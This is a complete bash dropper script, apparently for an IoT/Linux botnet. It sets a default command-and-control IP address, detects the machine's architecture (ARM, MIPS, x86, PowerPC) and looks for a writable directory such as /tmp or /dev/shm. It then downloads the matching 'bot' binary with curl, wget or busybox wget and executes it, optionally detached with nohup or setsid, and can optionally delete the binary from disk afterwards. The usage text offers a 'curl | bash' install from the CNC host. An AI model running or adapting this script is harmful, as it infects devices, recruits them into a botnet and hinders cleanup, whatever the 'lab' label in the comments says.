#!/usr/bin/env bash
set -euo pipefail

BASE="${BOT_FETCH_BASE:-http://217.60.195.161}"

# Lab remote drop: detect arch → probe BASE/<arch> → download → run.
# Ideas borrowed from field-style deployers (cwd fallbacks, busybox wget, optional detach)
# without hardcoded hosts or default self-delete.
#
# Env:
#   BOT_FETCH_BASE / baked BASE   CNC http root
#   BOT_OUT=./bot                 output path (relative to workdir unless absolute)
#   BOT_WORKDIR=/tmp              force workdir (else first writable of the fallback list)
#   BOT_BG=1 / --bg               background with nohup/setsid (default: exec)
#   BOT_RM=1                      after successful --bg start, unlink the binary
#   POC_ALLOW_VM=1                default on (VPS/KVM labs)

BG="${BOT_BG:-0}"
ARGS=()
while [[ $# -gt 0 ]]; do
  case "$1" in
    -h|--help)
      echo "Usage: curl -fsSL http://CNC_IP/install.sh | bash"
      echo "       curl -fsSL http://CNC_IP/install.sh | bash -s -- --bg"
      echo "       ./install.sh http://CNC_IP [arch] [--bg]"
      echo ""
      echo "Env: BOT_BG=1  BOT_RM=1  BOT_OUT=./bot  BOT_WORKDIR=/tmp  POC_ALLOW_VM=1"
      exit 0
      ;;
    --bg|-b)
      BG=1
      shift
      ;;
    --fg)
      BG=0
      shift
      ;;
    *)
      ARGS+=("$1")
      shift
      ;;
  esac
done
set -- "${ARGS[@]+"${ARGS[@]}"}"

if [[ "${1:-}" == http://* || "${1:-}" == https://* ]]; then
  BASE="${1%/}"
  shift
elif [[ "${1:-}" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
  BASE="http://$1"
  shift
fi

if [[ -z "${BASE:-}" ]]; then
  echo "[install] No CNC URL. Use: curl -fsSL http://CNC_IP/install.sh | bash" >&2
  echo "          Or: ./install.sh http://CNC_IP" >&2
  exit 1
fi

# Prefer a writable dir — many IoT/VPS shells land somewhere read-only.
pick_workdir() {
  local d
  for d in ${BOT_WORKDIR:+"$BOT_WORKDIR"} /tmp /var/tmp /var/run /dev/shm /mnt /home /root "${PWD:-.}" /; do
    [[ -d "$d" && -w "$d" ]] || continue
    if touch "$d/.shwaggy-w$$" 2>/dev/null; then
      rm -f "$d/.shwaggy-w$$"
      printf '%s' "$d"
      return 0
    fi
  done
  return 1
}

have_busybox_wget() {
  command -v busybox >/dev/null 2>&1 || return 1
  # Prefer --list; fall back to help text (avoid running wget with no URL).
  if busybox --list 2>/dev/null | grep -qx wget; then
    return 0
  fi
  if busybox 2>&1 | grep -qw wget; then
    return 0
  fi
  return 1
}

# Best → fallbacks. First hit on the server wins.
arch_candidates() {
  local m soft
  m="$(uname -m 2>/dev/null || echo unknown)"
  soft="$(getconf LONG_BIT 2>/dev/null || echo "")"

  case "$m" in
    x86_64|amd64)
      echo "bot i686"
      ;;
    i686|i386|x86)
      echo "i686 bot"
      ;;
    aarch64|arm64)
      # 64-bit ARM; some boxes only publish 32-bit
      echo "aarch64 armv7l armv5l armv4l"
      ;;
    armv7l|armv7|armhf)
      echo "armv7l armv5l armv4l"
      ;;
    armv6l)
      echo "armv5l armv7l armv4l"
      ;;
    armv5l|armv5te|armv5)
      echo "armv5l armv4l armv7l"
      ;;
    armv4l|armv4|arm)
      # generic "arm" — sniff cpuinfo if we can
      if grep -qi 'aarch64\|armv8' /proc/cpuinfo 2>/dev/null; then
        echo "aarch64 armv7l armv5l armv4l"
      elif grep -qi 'v7' /proc/cpuinfo 2>/dev/null; then
        echo "armv7l armv5l armv4l"
      elif grep -qi 'v6' /proc/cpuinfo 2>/dev/null; then
        echo "armv5l armv7l armv4l"
      else
        echo "armv5l armv4l armv7l"
      fi
      ;;
    mips64|mips64el)
      if echo "$m" | grep -qi el || grep -qi 'little endian\|LSB' /proc/cpuinfo 2>/dev/null; then
        echo "mips64 mipsel mips"
      else
        echo "mips64 mips mipsel"
      fi
      ;;
    mipsel|mips64el)
      echo "mipsel mips"
      ;;
    mips)
      if grep -qi 'little endian\|LSB' /proc/cpuinfo 2>/dev/null; then
        echo "mipsel mips mips64"
      else
        echo "mips mipsel mips64"
      fi
      ;;
    ppc|ppc32|powerpc|ppcle)
      echo "powerpc"
      ;;
    *)
      # last resort: try common set + bot (no silent x86_64 default)
      if [[ "$soft" == "64" ]]; then
        echo "bot aarch64 mips64"
      else
        echo "i686 armv7l armv5l mipsel mips armv4l"
      fi
      ;;
  esac
}

# Probe URL: 0 = exists
url_ok() {
  local u="$1"
  if command -v curl >/dev/null 2>&1; then
    curl -fsSI "$u" >/dev/null 2>&1 && return 0
    # some servers dislike HEAD — try tiny GET range
    curl -fsSL -r 0-0 "$u" >/dev/null 2>&1 && return 0
    return 1
  fi
  if command -v wget >/dev/null 2>&1; then
    wget -q --spider "$u" >/dev/null 2>&1 && return 0
    # busybox/old wget may lack --spider
    wget -q -O /dev/null "$u" >/dev/null 2>&1 && return 0
    return 1
  fi
  if have_busybox_wget; then
    busybox wget -q -O /dev/null "$u" >/dev/null 2>&1
    return $?
  fi
  return 1
}

download() {
  local u="$1" out="$2"
  if command -v curl >/dev/null 2>&1; then
    curl -fsSL "$u" -o "$out" 2>/dev/null
    return $?
  fi
  if command -v wget >/dev/null 2>&1; then
    wget -qO "$out" "$u" 2>/dev/null
    return $?
  fi
  if have_busybox_wget; then
    busybox wget -q -O "$out" "$u" 2>/dev/null
    return $?
  fi
  return 1
}

WORKDIR="$(pick_workdir)" || {
  echo "[install] no writable directory (tried /tmp /var/tmp /var/run …)" >&2
  exit 1
}
cd "$WORKDIR"

# Build candidate list
CANDS=()
if [[ -n "${1:-}" ]]; then
  case "$1" in
    x86_64|amd64|host|native|bot) CANDS=(bot) ;;
    bot.*)                        CANDS=("${1#bot.}") ;;
    *)                            CANDS=("$1") ;;
  esac
  shift || true
else
  # shellcheck disable=SC2207
  CANDS=($(arch_candidates))
fi

if [[ ${#CANDS[@]} -eq 0 ]]; then
  echo "[install] unsupported arch: $(uname -m)" >&2
  exit 1
fi

OUT="${BOT_OUT:-./bot}"
# Relative BOT_OUT stays under workdir; absolute paths are left alone.
NAME=""
for c in "${CANDS[@]}"; do
  if url_ok "${BASE}/${c}"; then
    NAME="$c"
    break
  fi
done

if [[ -z "$NAME" ]]; then
  echo "[install] no matching binary at ${BASE}/ for: ${CANDS[*]}" >&2
  echo "[install] uname=$(uname -m) — publish that arch or pass one: bash -s -- armv7l" >&2
  exit 1
fi

# Download to a temp name then mv — avoids ETXTBSY when re-dropping over a live binary.
PARTIAL="${OUT}.partial.$$"
rm -f "$PARTIAL"
if ! download "${BASE}/${NAME}" "$PARTIAL"; then
  echo "[install] download failed: ${BASE}/${NAME}" >&2
  rm -f "$PARTIAL"
  exit 1
fi
if [[ ! -s "$PARTIAL" ]]; then
  echo "[install] download empty: ${OUT}" >&2
  rm -f "$PARTIAL"
  exit 1
fi
mv -f "$PARTIAL" "$OUT"
chmod +x "$OUT"
export POC_ALLOW_VM="${POC_ALLOW_VM:-1}"
BOT_NAME="${1:-bot}"

case "${BG}" in
  1|y|Y|yes|YES|true|TRUE) BG=1 ;;
  *) BG=0 ;;
esac

if [[ "$BG" -eq 1 ]]; then
  # Third argv starting with 'r' disables bot self-daemonize (non-DEBUG builds)
  # so $! stays the live process for the liveness check / BOT_RM.
  if command -v nohup >/dev/null 2>&1; then
    nohup "$OUT" "$BOT_NAME" r >/dev/null 2>&1 </dev/null &
  elif command -v setsid >/dev/null 2>&1; then
    setsid "$OUT" "$BOT_NAME" r >/dev/null 2>&1 </dev/null &
  else
    "$OUT" "$BOT_NAME" r >/dev/null 2>&1 </dev/null &
  fi
  BOT_PID=$!
  sleep 1
  if kill -0 "$BOT_PID" 2>/dev/null; then
    case "${BOT_RM:-0}" in
      1|y|Y|yes|YES|true|TRUE)
        # Optional: drop the on-disk copy after a live start (bg only).
        rm -f "$OUT" 2>/dev/null || true
        ;;
    esac
    exit 0
  fi
  echo "[install] bot exited immediately (pid=$BOT_PID)" >&2
  exit 1
fi

exec "$OUT" "$BOT_NAME"
